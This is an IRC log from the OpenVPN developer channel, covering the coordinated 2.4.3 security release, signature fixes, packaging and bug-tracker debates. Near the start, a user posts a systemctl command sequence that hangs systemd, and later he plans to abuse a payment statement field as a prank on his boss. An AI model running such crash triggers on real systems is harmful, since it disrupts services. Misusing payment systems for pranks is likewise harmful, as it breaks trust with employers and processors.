<@cron2> you'll be banned from github then... 09:55 < CRCinAU> hrrrm - can you ban someone frmo your project on github? :P 09:55 < CRCinAU> also, LOL 09:55 < CRCinAU> systemctl set-environment A='A\x0aB' 09:55 < CRCinAU> systemctl daemon-reexec 09:56 < CRCinAU> = systemd hang 09:58 <@cron2> you are enjoying this way too much 10:00 < CRCinAU> https://github.com/systemd/systemd/issues/6115 10:00 <@vpnHelper> Title: Cannot shutdown machine if NFS mount is not reachable · Issue #6115 · systemd/systemd · GitHub (at github.com) 10:02 < CRCinAU> I have a very love/hate relationship with systemd. 10:03 < CRCinAU> its like we got half way through a project, then realised "well, shit. writing a reliable init system is hard". 10:04 < CRCinAU> then the flood gates opened to add tons of extra stuff to compensate for the shortfalls, and now we still have simple shit that makes the world explode. 10:29 <@dazo> CRCinAU: I actually happen to know one of the core people working on systemd-networkd .... he is really a nice guy, much more calmer and saner than a few of the more profiled developers 10:30 < CRCinAU> dazo: oh, I have no problems with the people involved.... but its a classic thing of when a project goes off the rails. 10:30 < CRCinAU> the business world has this problem all the time - project creep. 10:30 < CRCinAU> some call it scope creep 10:32 < CRCinAU> like my /. user sig that's been there for nearly 20 years: Sendmail is like emacs: A nice operating system, but missing an editor and a MTA. 10:34 <@dazo> CRCinAU: I haven't been inside the systemd discussions for a couple of years .... but a wild guess is .... systemd hit RHEL7, and works okayish for most - but Red Hat have large enterprise customers who "must have this feature" ... in parallel, RHEL8 is being worked on which is coupled against Fedora 25++ ... so they're juggling and prioritizing what (important) users/customers want and need .... and PPPoE might not have hit high up on 10:34 <@dazo> that list 10:35 <@dazo> systemd-networkd, if it will work as well as they hope and plan for ... it will truly be a good step forward from the network configuration "mess" across all Linux platforms ... where each distro have their own way how to configure it 10:35 < CRCinAU> tbh, I reakon it should be scrapped and focus on NetworkManager.... 10:35 < CRCinAU> as much as I hate it at times too, it at least has a proper environment including extensibility and featureset 10:36 <@dazo> Nah ... I think that NetworkManager will move towards being a front-end ... while systemd-networkd will take care of the low-level stuff, including DHCP and around that 10:36 < CRCinAU> I'm not sure it can be that extensible. 10:37 < CRCinAU> I mean, the possibilities are bloody massive. 10:37 <@dazo> yeah, which is why it takes (quite) some time to get settled .... I'd be surprised if systemd-networkd won't be a big new feature in RHEL8 10:38 < CRCinAU> I don't think so 10:38 <@dazo> CRCinAU: oh ... btw ... careful what you say about Emacs ... all my patches are created in Emacs 10:38 < CRCinAU> hahahaha :) 10:38 <@cron2> dazo: well, that explains a bit 10:38 * cron2 runs 10:39 <@dazo> hahaha .... says cron2 who mangled up the charset in vi! :-P 10:40 <@cron2> I made it nice and shiny, and byte-saving... but as an emacs users, you'll obviously like to use two or more byte for a single printable character :) 10:40 * CRCinAU grabs the popcorn. I did well here ;) 10:42 < CRCinAU> dazo: tell him about the hotkey system that needs 3 hands to operate 10:47 <@dazo> CRCinAU: whaat?! You don't have three hands!? 10:47 * dazo don't see any problems .... 10:48 < CRCinAU> hmmmmm do I go there..... ;) 10:48 < CRCinAU> 3 hands, can't figure out the damn management interface..... gotta be an emacs user :) LOL 10:48 * CRCinAU ducks 10:49 <@dazo> CRCinAU: have you tried: help[ENTER] 10:49 <@dazo> :-P 10:49 < CRCinAU> hahhahahaha 10:55 < CRCinAU> help auth-token 10:55 < CRCinAU> ;) 10:55 < CRCinAU> I'm kinda happy that at least half of that problem is fixed :P 10:55 <@dazo> that's not a management command :) 10:55 <@dazo> btw ... there are management-notes.txt ... which should be shipped in the Fedora packages 10:56 < CRCinAU> oh? 10:56 < CRCinAU> with what's broken? 10:56 <@dazo> nope ... just describing the management interface :) 10:56 < CRCinAU> ahhhh 11:00 < CRCinAU> dazo: I'm kinda hanging on the management side though - as I'm wanting to experiment with token types that can hopefully be generated more securely.... 11:07 <@dazo> right ... currently, I'm preparing Fedora packages for tomorrow's big security update .... but I'll try to have a look at it asap 11:08 < CRCinAU> oh, don't stress... security issues come first.... 11:08 < CRCinAU> I'm just publishing my own packages for Xen XSAs as we speak 11:15 < CRCinAU> oh - on other stupid bugs.... dhclient can't do an IPv6 PD over a ppp connection because it doesn't have a MAC address..... 11:15 < CRCinAU> so there's a bloody ugly hack I have for that. 11:16 < slypknot> is there an ipv6 equiv for $route_net_gateway ? 11:17 < CRCinAU> slypknot: I do thing I saw that.... 11:17 < CRCinAU> but can't remember what its called. 11:18 < slypknot> i am grep'ing the source but that route_ivp6_net_gateway is not present 11:18 < CRCinAU> route6* ? 11:18 < CRCinAU> or route_ip6*? 11:19 < slypknot> that's not generally how ipv6 is done in openvpn 11:19 < slypknot> cron2: he should know ;) 11:21 < CRCinAU> ah - you're right. 11:21 < CRCinAU> ifconfig_pool_remote_ip6 11:21 < CRCinAU> there's heaps of those - but nothing about remote IPs etc 12:00 <@cron2> CRCinAU: why does it need a MAC address? The whole point of fe80 addresses and DUIDs is that you do *not* need a MAC address... 12:07 <@dazo> so ... I dared some production testing on the coming release ... updated an EL6 and EL7 box to what we will release, and it seems to work fine 12:11 * cron2 was tempted today to write an e-mail to $work with "there is a new security release coming up, I have already updated our servers" :-) 12:14 <@dazo> :) 12:16 * dazo feels reasonably in a good shape for tomorrow ... so calling it a day now :) 12:17 < CRCinAU> cron2: that's a great question. 12:18 < CRCinAU> https://bugzilla.redhat.com/show_bug.cgi?id=626514 12:18 <@vpnHelper> Title: Bug 626514 ISC dhcp does not support ppp and ipv6 as in`dhclient -6 -P` (at bugzilla.redhat.com) 12:18 < CRCinAU> and me lodging the same against EL7 12:18 < CRCinAU> https://bugzilla.redhat.com/show_bug.cgi?id=1329210 12:18 <@vpnHelper> Title: Bug 1329210 dhclient fails to assemble DUID while requesting IPv6 prefix delegation using PPP device (at bugzilla.redhat.com) 12:19 < CRCinAU> first lodged: 2010-08-24 03:45:38 EST 12:21 < slypknot> is there an ipv6 equiv for $route_net_gateway ? 12:24 <@cron2> there is net_gateway_ipv6, but I'm not sure it does the same thing as route_net_gateway 12:24 <@cron2> (easily answered, btw, with "git grep setenv.*net_gateway") 12:28 < slypknot> cron2: thanks that looks like the most likely candidate 17:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 17:23 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 17:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:23 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jun 21 2017 00:30 <@ordex> morning ! 01:29 < CRCinAU> urhg. 01:30 < CRCinAU> is not fucking morning. 01:30 < CRCinAU> and is not good. 01:30 < CRCinAU> <-- has spent today fixing his own coding fuck up..... never a good day..... 01:31 < CRCinAU> ordex: wait. that was an hour ago LOL 01:31 <@mattock> windows and debian smoketests running 01:31 <@mattock> oh, and good morning :) 01:33 < CRCinAU> moral of the story.... when you do a 'pass the parcel' of your data object between several functions.... don't create a new one for your function call.... 01:33 < CRCinAU> ie don't create one, then copy it, and copy it, and copy it, and copy it, and copy it, then merge the last copy with the first one you created.... 01:34 * CRCinAU facepalms. 01:38 <@mattock> 2.4.3 passed the Windows testsuite \o/ 01:39 < CRCinAU> yay 01:51 <@mattock> Debian packages passed smoketests 01:52 <@mattock> debian stretch packages also seem to work properly, and they have dazo's client/server config separation as an option 01:53 <@mattock> so you can have configs in /etc/openvpn or in client/server subdirectories 01:54 <@mattock> with separate unit files for each openvpn@, openvpn-client@, openvpn-server@ 01:54 <@mattock> quite nice 02:19 < eworm> mattock: openvpn@.service is something they added on their own? 02:21 < eworm> Any chance to get my fingers in touch with the next release tarballs? 02:22 < eworm> I would like the prepare the Arch packages and give it some testing before pushing to repositories. 02:22 <@ordex> CRCinAU: :P 02:22 <@ordex> CRCinAU: take it easy! :D 02:24 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:24 <@cron2_> argh, vendors 02:24 <@cron2_> SuSE put out an openvpn security patch yesterday night, with CVEs 02:24 <@cron2_> so I was starting to rage... 02:25 <@cron2_> ... and then I noticed that it's for the *May* security issues... 02:28 < eworm> lol 02:33 < CRCinAU> ordex: eh - I think I've finished the refactor to fix my mild retardation in writing it originally 02:33 < CRCinAU> cron2_: there was a cve in may? :P 02:33 < CRCinAU> I just hope the packages keep up to date lol 02:36 <@cron2_> CRCinAU: 2.4.2 had the quarkslab audit findings 02:36 <@cron2_> Don't assert out on receiving too-large control packets (CVE-2017-7478) 02:36 <@cron2_> Drop packets instead of assert out if packet id rolls over (CVE-2017-7479) 02:36 < CRCinAU> oh cool. 02:37 < CRCinAU> auto-update ftw ;) LOL 02:37 <@cron2_> (and 2.3.15/2.3.16, but we do not talk about 2.3.15) 02:44 <@mattock> all files on the release servers, but not yet downloadable by users 02:44 <@mattock> I guess the next step is to craft the various announcements... 03:32 * cron2_ stands ready to push repos and bounce lots of mails and ACK-applied mails 03:53 <@dazo> I'm pondering if I should wait for RH to create the CVE tracker bzs ... or to just start pushing out the builds noonish with only CVE numbers 03:53 <@dazo> (normally, CVE + bz numbers are listed in the ChangeLog) 04:03 <@syzzer> cron2_: I had the exact same thing this morning with the suse announcement :') 04:03 <@cron2_> lol 04:03 * syzzer back to the -NL release train 04:21 <@ordex> dazo: thanks for the invitation! 04:21 <@dazo> yw! :) You'll soon understand why! :-P 04:22 <@ordex> hehe ok :D 04:23 <@dazo> but I was surprised you weren't there already, tbh 04:27 <@ordex> never asked for that 04:27 * dazo see a lot of updates happening on ownCloud now :-P 04:27 <@ordex> ah 04:27 * ordex understood why 04:27 <@ordex> :D 04:27 <@dazo> :) 04:27 <@ordex> dazo: how do we split what we track on our trac and what we track on github ? 04:28 <@dazo> ordex: good question ... haven't though of it yet 04:28 <@dazo> trac should be our master .... but when new tickets arrive in GH, we need to do something about it, somehow 04:31 <@cron2_> are you talking 2.x or 3? 04:31 <@dazo> 3 04:31 <@ordex> ah 04:31 <@ordex> 3 should just be on GH I think (?) 04:32 <@ordex> meaning: we haven't used our trac for ovpn3, yet, no ? 04:32 <@dazo> well, we want to safeguard us to have somewhat predictable references when tracking stuff 04:32 <@dazo> we dunno what GH will do in 5 years 04:34 <@dazo> and ... there's a lot of "project maintenance processes" missing on OpenVPN3, which we have established on OpenVPN 2.x 04:35 <@ordex> yap 04:35 <@ordex> still to avoid confusion, how about just deactivating the tracker on GH and always use our trac ? would that create confusion/troubles as of now ? 04:36 <@dazo> yeah, probably makes sense 04:37 <@dazo> unless mattock knows something about a grander plan for other self-hosted solutions we want to migrate to 04:37 <@ordex> :D 04:38 <@dazo> (I personally think Trac is getting quite oldish and horrid to work with, compared to GitLab and such like .... and we've had Trac for about 7+ years, quite a lot of things have happened since those days) 04:39 <@ordex> in the other project I am in, we migrated from trac to redmine two or three years ago - it is much better and modern actually 04:39 <@cron2_> my dear software colleagues here @work have migrated from trac to redmine, and migrated again to youtrack, and I cannot truly see advancement 04:39 <@ordex> I think redmine has just more support/development/features compared to trac 04:39 < CRCinAU> trac sucks ass lol 04:39 <@cron2_> while redmine is nice and fancy, all the extra stuff (like "I have completed 40% of this!") is just adding bling for management, and it's getting in the way of actually geting the work done 04:40 <@syzzer> trac works for me 04:40 < CRCinAU> lets use JIRA! 04:40 < CRCinAU> (said nobody every) 04:40 <@ordex> cron2_: oh ok. I liked the gannt charts and the dependencies trees 04:40 <@cron2_> and youtrack is totally nice and commercially supported and superfancy - but is not able to produce a single *readable* ASCII mail where you can see with one glance what has happened 04:40 <@syzzer> we use jira at work, looks more fancy, little bit more user friendly, but not significantly better for non-scrumm projects 04:40 <@dazo> CRCinAU: Jira is closed source! :-P 04:40 <@ordex> anyway, I think we don't want to discuss now what's the next platform to migrate to, unless this is going to happen in the next 30 days 04:41 <@dazo> yeah, good point 04:41 <@ordex> about ovpn3: if we think we should converge to one platform, GH is the one we want to drop (as far as I understood) 04:41 <@cron2_> long story short: in a corporate development environment with "reporting chains" and stuff, these extra features might be useful - but for what *I* need, trac seems to be good enough 04:41 <@ordex> so that we can just use our internal thing on openvpn.net 04:41 <@ordex> cron2_: yeah, fair enough 04:42 <@cron2_> one of the problems I have with trac currently won't go away if we migrate elsewhere - "lots of dead tickets belonging to James" 04:42 < CRCinAU> tbh, for software stuff - I use mantisbt 04:42 <@dazo> I think we need to move those tickets to those of us active here :/ 04:42 < CRCinAU> https://xen.crc.id.au/bugs/ 04:42 < CRCinAU> but no real wiki in there 04:42 <@vpnHelper> Title: My View - MantisBT (at xen.crc.id.au) 04:43 <@cron2_> dazo: is anyone actively working on iOS? 04:43 <@cron2_> (I'm happy to help sifting through the heap and reassign...) 04:43 <@dazo> cron2_: hmmm ... yeah, but they're actually not visible in the community 04:43 < CRCinAU> oh wait, mantisbt *does* have a wiki 04:43 <@ordex> dazo: yeah, reassigning or closing sounds good for ancient tickets - having them rotting there does not make sense 04:44 <@cron2_> dazo: we need to work on that as well :-) - lots of new folks in OpenVPN Tech, and we need to cooperate 04:44 <@dazo> Let me bring that up internally 04:44 < CRCinAU> anyhow - mantisbt has plugins for gitweb / github / etc etc for linking commits to bug reports 04:44 < CRCinAU> has a wiki 04:44 < CRCinAU> and has migration scripts from trac -> mantis 04:47 < CRCinAU> dazo: I'd be somewhat happy to assist in doing a migration to mantis if that path is chosen.... 04:47 < CRCinAU> I've had good experiences with it from both using and administrating it 04:47 <@dazo> There's also Pagure which Fedora have switched to. They used a Trac based setup for fedorahosted.org, which have been moved over to pagure.io 04:47 <@mattock> now that we're bikeshedding I think Trac is fine for our purposes 04:48 <@ordex> yeah, unless we have a real problem that we are already aware of? 04:48 <@mattock> it's not overly project-specific, so people can report problems with our website or whatnot without misusing the issue tracker 04:48 <@cron2_> can I have my trac instance painted red? 04:48 <@mattock> cron2: yes 04:48 <@cron2_> good :) 04:48 <@ordex> but then you need a yellow star at the top 04:48 <@mattock> but it must be half blue 04:48 <@dazo> mattock: what Trac is truly lacking is a reasonable way to link commits with Trac tickets, so tickets gets automated updates when we fix things in git 04:48 <@ordex> lol 04:49 < CRCinAU> only problem with trac is that hte conventions are that outdated, its sometimes hard for people to even figure out how to use it 04:49 <@mattock> dazo: actually that is fixable I believe 04:49 <@ordex> dazo: isn't there an extension for that? (redmine does have it) 04:49 <@mattock> there's a plugin for that 04:49 < CRCinAU> I mean, I'm not a complete noob, yet it took me ages to figure out how to actually lodge a bug report 04:50 <@mattock> ok so are we all ready for the release in 19 minutes? 04:50 <@dazo> Trac works, but isn't as user friendly as lots of other solutions are ... I mean, Trac was a sane choice 7 years ago ... but the world have moved on 04:50 * cron2_ is 04:50 <@mattock> I have everything covered afaics, and will start copying files to webservers/apt repositories in ~10 minutes 04:50 < CRCinAU> mattock: https://i.vimeocdn.com/video/538310008.jpg 04:50 <@mattock> I shall 04:50 <@mattock> :P 04:50 <@cron2_> CRCinAU: not yet! 04:51 < CRCinAU> * in 18 minutes 04:51 * ordex hides 04:52 <@mattock> personally I like the cleanliness of the Trac UI - I have never particularly liked Redmine - the UI is (or has been) quite confusing and riddled with silly fields like "Percent done" and "Estimated time" and whatnot 04:52 <@mattock> JIRA/Confluence/Bitbucket are highly counter-intuitive imho 04:52 <@mattock> "from engineers to engineers" 04:52 <@mattock> :) 04:52 < CRCinAU> I'm forced to use that combo at work 04:52 <@mattock> GitHub, GitLab and such are quite good, but very project-specific 04:52 < CRCinAU> its ok, but I'd only rate it 'ok' 04:52 <@mattock> we use JIRA/Confluence/Bitbucket internally 04:52 <@mattock> I also rate it is as "ok" 04:52 <@dazo> "cleanliness of the Trac UI" ?!? .... okay, Jira is not better .... but cleanliness is not what would strike me on either of them 04:53 < CRCinAU> except the workflows in JIRA scream of management interferences to fuck shit up. 04:53 <@mattock> let's just say that "it does not have tons of crap in it" :) 04:53 <@cron2_> mattock: while I'm with you, dazo would translate this to "1000s of nice features are missing!!!" :-) 04:53 < CRCinAU> mattock: opinions on this: https://xen.crc.id.au/bugs/ 04:53 <@mattock> JIRA is full of odd crap imho 04:53 <@vpnHelper> Title: My View - MantisBT (at xen.crc.id.au) 04:53 <@ordex> lol 04:53 <@mattock> anyways, let us not migrate away from Trac just yet :P 04:54 < CRCinAU> I feel its a cross between the retardation of JIRA and having the featureful options of a button in something like trac 04:54 < CRCinAU> like woooo this is a *multipart* form 04:54 * CRCinAU coughs 04:54 <@mattock> yeah, I've used and maintained MantisBT 04:54 < CRCinAU> mattock: I wonder if the admiration of trac is stockholm syndrome...... 04:54 < CRCinAU> ;) 04:54 <@mattock> it has got a modernish look nowadays :P 04:55 <@mattock> trac is pretty easy to maintain 04:55 <@cron2_> /mode #openvpn-devel +b CRCinAU 04:55 < CRCinAU> hahahah 04:55 <@mattock> sorry, misread 04:55 < CRCinAU> ... again!?!? 04:55 <@mattock> yes, that happens occasionally, can't get rid of it 04:55 <@cron2_> CRCinAU: you seem to need that a few times a day 04:56 * CRCinAU etches another notch into his bedpost..... 04:56 < CRCinAU> please sir, can I have another. 04:56 < CRCinAU> *cough* 04:56 <@cron2_> /mode #openvpn-devel +b CRCinAU 04:56 < CRCinAU> one day I'll be serious about things and people will wonder if I've had a stroke :\ 04:57 <@cron2_> one day we might get serious about banning you :) 04:57 -!- cron2_ is now known as cron2 04:57 <@cron2> (where is d12fk anyway...?) 04:57 <@mattock> lurking 04:58 <@mattock> I wil start pushing out files now 04:58 <@mattock> takes a few mins 04:58 < CRCinAU> cron2: just use thee instructions for your PC: https://www.youtube.com/watch?v=cIEPbP6_Slk 04:59 <@ordex> cron2: didn't he volounteer to mail us about the next hackathon ? 04:59 <@cron2> ordex: indeed, that's why I'm asking 05:06 < CRCinAU> dazo: speaking of hackathons, did you catch up with ordex re the management interface question you had? 05:06 < CRCinAU> I'm kinda curious about the cause tbh. 05:06 < CRCinAU> I've looked a little at the source, but my complete lack of C skills make it difficult for me to follow.... 05:07 <@ordex> CRCinAU: mhhh...can you refresh me about the exact question you are referring to? because I had several in the past days :D 05:07 <@dazo> CRCinAU: will look at it once the security release is out 05:07 < CRCinAU> iirc, it was trying to track down why the prompt hits the management interface on a reneg using the token. 05:07 <@mattock> packages in apt repos 05:07 <@mattock> copying to webservers 05:08 < CRCinAU> dazo: makes sense :) 05:08 < CRCinAU> dazo: things have been that busy my end that I've been having problems even keeping track of days :\ 05:09 < CRCinAU> ie I can't remember when it was we actually talked about it last :\ 05:09 <@ordex> dazo: cron2: about running basic tests before sending patches to the ml: right now we have make check, travis-ci and the t_client script, right ? 05:09 <@cron2> ordex: we have discussed setting up patchwork and integrate build tests with it, but nobody had time 05:09 <@cron2> git + tags has been pushed 05:09 * cron2 starts mail now 05:11 <@vpnHelper> RSS Update - gitrepo: Update Changes.rst with relevant info for 2.4.3 release. <https://github.com/OpenVPN/openvpn/commit/32f22869c111c2add9df13430660276ae8a3a5e5> || Fix remotely-triggerable ASSERT() on malformed IPv6 packet. <https://github.com/OpenVPN/openvpn/commit/c3f47077a7756de5929094569421a95aa66f2022> || Prevent two kinds of stack buffer OOB reads and a crash for invalid i… <https://github.com/OpenVPN/openvpn/commit/7718c 05:13 < CRCinAU> for what its worth and for the sake of conversation, this is the kind of thing I used to do: https://www.crc.id.au/2017/03/13/why-working-in-aviation-was-so-cool/ 05:13 < CRCinAU> now I attempt to cut code lol 05:14 <@dazo> mattock: you're pushing out the same tarballs as cron2 prepared yesterday? (those in the openvpn-2.*-seckey.tar) 05:17 <@dazo> seems not :/ 05:17 <@mattock> they should be identical, but I'll check 05:18 <@dazo> the signature (.asc) didn't match 05:18 <@dazo> or rather, it complained about not being valid 05:18 <@mattock> which file? 05:18 <@cron2> well, the script ran twice, so the second tarball is slightly different (timestamps), and care needs to be taken to get the sigs in the same master tarball 05:19 <@dazo> gpg: assuming signed data in `openvpn-2.4.3.tar.xz' 05:19 <@dazo> gpg: Signature made Tue 20 Jun 2017 13:38:38 CEST 05:19 <@dazo> gpg: using RSA key 0xD72AF3448CC2B034 05:19 <@dazo> gpg: using subkey 0xD72AF3448CC2B034 instead of primary key 0x12F5F7B42F2B01E7 05:19 <@dazo> gpg: using PGP trust model 05:19 <@dazo> gpg: BAD signature from "OpenVPN - Security Mailing List <security@openvpn.net>" 05:19 <@dazo> gpg: binary signature, digest algorithm SHA1 05:19 <@cron2> *grumble* 05:19 <@dazo> cron2: if you run tar twice on the exact same input, the output is different 05:19 <@cron2> timestamp in the tar header, as well 05:19 <@dazo> yeah 05:20 <@dazo> related side-topic ... "Specifically, the tarball format is famously nondeterministic: the very same file tree can result in any number of different valid serializations depending on the tool used, its version and the underlying OS and file system. Some tar implementations attempt to correct that by guaranteeing that each file tree maps to exactly one valid serialization, but such a property is always only specific to the tool used." 05:20 <@dazo> http://0pointer.net/blog/casync-a-tool-for-distributing-file-system-images.html 05:21 <@vpnHelper> Title: casync — A tool for distributing file system images (at 0pointer.net) 05:21 <@mattock> yeah I've had that issue in the past 05:21 <@cron2> sf is hating syzzer's mails 05:22 <@dazo> cron2: or is it their rate-limiting hitting? 05:22 <@syzzer> yeah, fox-it SPF records, probably... 05:23 <@cron2> syzzer: that shouldn't be the issue (envelope-from is me, so SPF should be fine) but as the mails were not having to: $list, I think they went into moderation or something 05:23 <@cron2> yeah 05:23 <@syzzer> yeah, I got a lot of notifications about moderation queue 05:23 <@cron2> changed to:, re-sent everything, now 5/5 has arrived (once) 05:24 <@syzzer> then we need to instruct mattock what to approve and/or drop 05:24 <@cron2> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/ has syzzer(5) + cron2(1), now I need to decide what to do with Guido 05:24 <@vpnHelper> Title: openvpn-devel (at www.mail-archive.com) 05:24 <@syzzer> to prevent duplicates 05:24 <@cron2> mattock: you can drop everything pretending to be from syzzer today between 12:00 and 12:15 :-) 05:30 <@cron2> so, my mail flood is done for good (guido's patch sent as attachment with PGP sig and references) 05:31 <@mattock> signatures fixed 05:32 <@mattock> now everything should be signed with the security list key 05:34 * dazo just pushed EPEL-7 build 05:36 * d12fk is attending sprint ceremonies 05:36 * CRCinAU checks for updates 05:37 <@cron2> is the annoucement out already? 05:37 <@mattock> no 05:37 <@mattock> the signature thing distracted me for a bit 05:37 <@mattock> I'm updating the download page now 05:37 < CRCinAU> oh yeah 05:37 < CRCinAU> Updateinfo file is not valid XML: <open file '/var/cache/yum/x86_64/7/epel/gen/updateinfo.xml', mode 'rt' at 0x7f1bc6893c00> 05:38 <@dazo> CRCinAU: not so fast .... first build (koji), then publish an update (bodhi) ... then it goes to updates-testing after a few hours, and then the mirrors need to get updated 05:38 < CRCinAU> ohhhhh - you set the build going - not pushed the build - meaning the actual package ;) 05:38 <@mattock> checking links next 05:39 <@mattock> please review for typos etc if you have time: https://openvpn.net/index.php/download/community-downloads.html 05:39 <@vpnHelper> Title: Community Downloads (at openvpn.net) 05:39 <@dazo> CRCinAU: once I start pushing things to koji, things gets public .... so I had to hold back until the embargo was lifted 05:40 < CRCinAU> dazo: yep - got it. 05:40 < CRCinAU> mattock: can I suggest adding something here: Compared to OpenVPN 2.4.2 there are several bugfixes and one major feature: support for OpenSSL 1.1. 05:40 < CRCinAU> ie what that actually means... 05:42 <@mattock> yes you may 05:44 <@mattock> fixed 05:44 < CRCinAU> in Changes.rst as well, it has this: 05:44 < CRCinAU> Version 2.4.3 05:44 < CRCinAU> New features 05:44 < CRCinAU> Support building with OpenSSL 1.1 now (in addition to older versions) 05:44 < CRCinAU> my first thought as a luser is... ok, what does that give me? 05:45 <@mattock> that's even better, changed 05:45 <@mattock> now announcements 05:49 < CRCinAU> also: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn24 still ends at 2.4.2 05:49 <@vpnHelper> Title: ChangesInOpenvpn24 – OpenVPN Community (at community.openvpn.net) 05:49 < CRCinAU> (not sure if its been done yet) 05:50 <@mattock> not done yet 05:50 <@mattock> email announcements next, then fix the changelogs, then lunch and hope for the best 05:50 <@mattock> then I'll tie up the loose ends 05:50 < CRCinAU> sounds like a plan 05:50 <@mattock> push stuff to git repos etc 05:51 < CRCinAU> otherwise, looks mostly complete to me... 05:56 <@mattock> uh, finally 05:59 <@mattock> changelogs in place 06:01 < CRCinAU> ordex: oh, to give you an idea of my motivation, my boss wants a certain function to happen on our credit card processing stuff to happen - where we can put a line of text on the bank statement associated with the transaction.... 06:02 < CRCinAU> my challenge is to put an ascii dick (ie: 8=====D) on his statement..... 06:02 <@ordex> lol 06:02 <@ordex> why not 06:03 < CRCinAU> of course, I'll do it before settlement - so he'll have to highlight it, and forward it through accounts to have the charge refunded by accounts ;) 06:03 <@cron2> posted announcement on g+, referencing mattock's announcements on -devel 06:03 <@mattock> cron2: excellent! 06:03 <@mattock> I'll head for lunch, will be back in ~50 mins 06:03 < CRCinAU> sadly, I don't think the ~ is in the accepted character set for that field.... but I'm going to try. 06:03 <@mattock> all the essentials should be in place now 06:09 <@mattock> oh, send me email if there is something horribly wrong with the release 06:13 < CRCinAU> hahahhahahaha 06:13 < CRCinAU> Existence OPTIONAL 06:13 < CRCinAU> Validation Rules 06:13 < CRCinAU> Data can consist of any characters 06:13 < CRCinAU> here come them ascii dicks! :P 06:13 < CRCinAU> "Contact information provided by you for printing on payer's account statements. 06:13 < CRCinAU> "[A 06:14 < CRCinAU> if I do nothing else tomorrow.......... 06:14 < CRCinAU> ;) 06:26 <@cron2> ecrist: please update ports/openvpn-devel ;-) 06:45 <@plaisthos> had not time to go through the security mails 06:46 <@plaisthos> anything that needs my immediate attentention to release a new client? 06:50 <@cron2> For clients, there's a few "you do bad things, client stops" nuisances in there - so you'll want to upgrade eventually 06:50 <@cron2> there is no crypto compromise or remote code execution stuff in there 06:50 <@cron2> ... but since we've been telling people "hey, there's bad stuff in, with CVE number even!" you'll receive questions... :) 06:53 <@dazo> 6 builds sent to koji (Fedora builder) .... now, just waiting for the CVE bug tickets and I can start pushing the updates to the public 06:55 <@dazo> https://koji.fedoraproject.org/koji/packageinfo?packageID=2700 06:55 <@vpnHelper> Title: openvpn | Package Info | koji (at koji.fedoraproject.org) 06:55 * cron2 waits for FreeBSD updates to show up... 06:56 <@cron2> (I have now updated one of our corps servers from *gasp* SOURCE...) 06:56 <@dazo> CRCinAU: if you're adventurous, you can download builds from here ... but I'd appreciate even more karma+1 once the updates are pushed out through bodhi 06:57 <@cron2> mattock: I've been asked why we're not linking to the 2.4 release notes from here: https://openvpn.net/index.php/open-source/documentation/release-notes.html 06:57 <@vpnHelper> Title: Release Notes (at openvpn.net) 06:57 <@cron2> "please" :) 06:57 < CRCinAU> dazo: I always love adventure. 06:59 < CRCinAU> dazo: installs, runs, connects ok 07:00 < CRCinAU> dazo: didn't your auth-token fix make it in? I don't see it in the changelogs 07:01 <@dazo> CRCinAU: I only list CVEs on such "updating to lastest upstream" 07:02 <@dazo> Otherwise, I list patches not being upstream 07:05 <@syzzer> guido wrote a nice blog articale too: https://guidovranken.wordpress.com/2017/06/21/the-openvpn-post-audit-bug-bonanza/ 07:05 <@vpnHelper> Title: The OpenVPN post-audit bug bonanza Guido Vranken (at guidovranken.wordpress.com) 07:13 < CRCinAU> m'kay 07:21 <@ecrist> cron2: OK, I'll set it up today 07:26 <@cron2> thanks 07:27 < CRCinAU> hmmm 07:27 < CRCinAU> mattock: not sure if horrible, but talk on the list re signing problems. 07:32 <@dazo> CRCinAU: got a report about it on the security list already ... seems to be cloudflare causing issues ... again .... 07:32 <@dazo> (and people wonder why we hate the cloudflare caching front) 07:33 < CRCinAU> oh? different archive? 07:33 <@dazo> I think the wrong signature was uploaded the first time ... then mattock fixed it and the cache purge didn't happen 07:34 < CRCinAU> ah 07:34 < CRCinAU> how much storage does the openvpn stuff have? 07:34 < CRCinAU> I ask cos Google as a free tier for their buckets.... 07:35 < CRCinAU> You get up to 5gb free anywhere in the storage area 07:35 <@dazo> I dunno, mattock might know 07:35 < CRCinAU> I use that + a free VM in the US from GCP to act as mirrors 07:35 <@dazo> but for OpenVPN, it's a lot more than just the community project .... the company pages (openvpn.net), privatetunnel.com, etc, etc 07:36 < CRCinAU> if you only have a single shared CPU and 0.6Gb RAM = free 07:36 < CRCinAU> so I run apache and bind on a free instance as a back primary NS and http mirror 07:37 < CRCinAU> then 2 x storage buckets - one in 'asia' one in 'europe' that are redundent in 2 data centres 07:37 <@plaisthos> cron2: thanks, then I go to more importants things for today. Probably give OpenSSL 1.1 another try on the weekend and put in both new version and openssl in one version 07:37 < CRCinAU> costs me ~$0.50AUD per month lol 07:39 < CRCinAU> dazo: then I use this as a mirrormanager (in Fedora terms) https://xen.crc.id.au/metalink/ 07:39 < CRCinAU> yay perl ;) 08:07 <@ecrist> cron2: PR 220183 08:18 <@plaisthos> #if (defined(OPENSSL_SYS_UNIX) || defined(OPENSSL_SYS_CYGWIN)) \ 08:18 <@plaisthos> && defined(OPENSSL_THREADS) && !defined(OPENSSL_NO_ASYNC) \ 08:18 <@plaisthos> && !defined(__ANDROID__) && !defined(__OpenBSD__) 08:18 <@plaisthos> for some reason this part of OpenSSL does not like Android 08:19 <@cron2> ecrist: thanks :-) (you want to use today's repo as basis for your snapshot...) 08:20 <@cron2> plaisthos: so android and openbsd share the dislike... 08:20 <@ecrist> cron2: I used the week 24 snapshot 08:20 <@ecrist> otherwise it should have waited until Monday... 08:20 <@cron2> ecrist: that wont be very beneficial, the interesting bits only hit the tree today... 08:21 <@cron2> there have been updates on sunday (like, openssl 1.1) but not the CVE stuff 08:21 <@cron2> anyway - need to catch a train, bbl 08:21 <@ecrist> hrm, Can you define which 